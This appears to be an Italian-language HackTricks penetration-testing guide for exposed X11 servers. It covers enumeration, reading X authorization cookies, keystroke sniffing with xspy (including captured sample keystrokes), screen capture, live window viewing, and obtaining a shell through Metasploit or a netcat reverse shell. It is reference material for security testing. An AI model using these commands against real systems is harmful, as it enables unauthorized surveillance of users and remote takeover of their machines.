hacktricks/network-services-pentesting/6000-pentesting-x11.md

8.4 KiB
Raw Permalink Blame History

6000 - Pentesting X11

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

Unisciti al Discord di HackenProof per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sul hacking
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie di hacking in tempo reale
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

Ultimi annunci
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Informazioni di base

X Window System (X) è un sistema di finestre versatile prevalente sui sistemi operativi basati su UNIX. Fornisce un framework per la creazione di interfacce utente grafiche (GUI), con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.

Porta predefinita: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumerazione

Controlla per connessione anonima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumerazione Locale

Il file .Xauthority nella cartella home degli utenti è utilizzato da X11 per l'autorizzazione. Da qui:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generazione di 128 bit di chiave (“cookie”), memorizzandola in ~/.Xauthority (o dove punta la variabile d'ambiente XAUTHORITY). Il client la invia al server in chiaro! il server verifica se ha una copia di questo “cookie” e, in tal caso, la connessione è consentita. la chiave è generata da DMX.

{% hint style="warning" %} Per utilizzare il cookie dovresti impostare la variabile d'ambiente: export XAUTHORITY=/path/to/.Xauthority {% endhint %}

Sessione di Enumerazione Locale

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Nell'esempio, localhost:0 stava eseguendo xfce4-session.

Verifica Connessione

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy per sniffare i tasti della tastiera.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Cattura di screenshot

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Via: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Prima dobbiamo trovare l'ID della finestra utilizzando xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Per visualizzazione dal vivo dobbiamo usare

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Ottieni Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Reverse Shell: Xrdp consente anche di ottenere una reverse shell tramite Netcat. Digita il seguente comando:

./xrdp.py \<IP:0> no-disp

Nell'interfaccia puoi vedere l'opzione R-shell.

Quindi, avvia un listener Netcat nel tuo sistema locale sulla porta 5555.

nc -lvp 5555

Poi, inserisci il tuo indirizzo IP e la porta nell'opzione R-Shell e clicca su R-shell per ottenere una shell

Riferimenti

Shodan

  • port:6000 x11

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sul hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie di hacking in tempo reale
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

Ultimi annunci
Rimani informato sui nuovi bug bounty in partenza e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}